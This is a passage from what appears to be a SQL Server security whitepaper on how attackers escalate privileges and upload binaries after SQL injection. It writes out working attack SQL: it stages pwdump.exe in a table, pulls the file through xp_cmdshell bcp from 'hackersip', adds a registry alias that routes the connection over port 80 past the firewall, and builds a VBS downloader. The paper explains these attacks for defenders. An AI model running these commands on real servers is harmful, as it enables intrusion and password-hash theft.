ELEVATING PRIVILEGES & UPLOADING FILES:

Often an administrator will follow security best-practices and configure the application to use a
non-privileged login. Having found a vulnerability with the non-privileged login, an attacker will
attempt to elevate privileges to gain full administrator privileges. An attacker could exploit known
and unknown vulnerabilities to do so. Given the number of recent vulnerabilities discovered in
SQL Server, if an attacker can execute arbitrary queries, it is relatively easy to elevate privileges.
Published advisories can be viewed at:
http://www.appsecinc.com/cgi-bin/show_policy_list.pl?app_type=1&category=3
http://www.appsecinc.com/resources/alerts/mssql/





UPLOADING FILES:

Once an attacker has gained adequate privileges on the SQL Server, they will then want to
upload “binaries” to the server. Since this can not be done using protocols such as SMB, since
port 137-139 typically is blocked at the firewall, the attacker will need another method of getting
the binaries onto the victim’s file system. This can be done by uploading a binary file into a table
local to the attacker and then pulling the data to the victim’s file system using a SQL Server
connection.
To accomplish this the attacker would create a table on the local server as follows.

create table AttackerTable (data text)

Having created the table to hold the binary, the attacker would then upload the binary into the
table as follows:

bulk insert AttackerTable
        from 'pwdump.exe'
        with (codepage='RAW')

The binary can then be downloaded to the victim server from the attacker’s server by running the
following SQL statement on the victim server:

    exec xp_cmdshell 'bcp "select * from AttackerTable" queryout
    pwdump.exe -c -Craw -Shackersip -Usa -Ph8ck3r

This statement will issue an outbound connection to the attacker’s server and write the results of
the query into a file recreating the executable. In this case, the connection will be made using the
default protocol and port which could likely be blocked by the firewall. To circumvent the firewall,
the attacker could try:

exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',
'HackerSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'

and then:

exec xp_cmdshell 'bcp "select * from AttackerTable" queryout
pwdump.exe -c -Craw -SHackerSrvAlias -Usa -Ph8ck3r'

The first SQL statement will configure a connection to the hacker’s server over port 80 while the
second SQL statement will connect to the hacker’s server using port 80 and download the binary
file.

Another method a hacker could use would be to write Visual Basic Script (.vbs) or Java Script
files (.js) to the OS file system and then execute those scripts. Using this technique the scripts
would connect to any server and download the attacker’s binary files or even copy over the script
and execute it in the victim server.

exec xp_cmdshell '"first script line" >> script.vbs'
exec xp_cmdshell '"second script line" >> script.vbs'
...
exec xp_cmdshell '"last script line" >> script.vbs'
exec xp_cmdshell 'script.vbs' -->execute script to download binary